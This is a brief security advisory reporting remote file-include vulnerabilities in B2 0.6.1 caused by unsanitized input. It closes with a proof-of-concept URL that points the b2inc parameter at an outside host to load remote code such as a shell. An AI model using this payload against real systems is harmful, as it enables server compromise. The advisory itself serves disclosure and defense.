source: https://www.securityfocus.com/bid/23659/info
  
B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
These issues affect B2 0.6.1; other versions may also be vulnerable. 

http://www.example.com/b2mail.php?b2inc=http://shell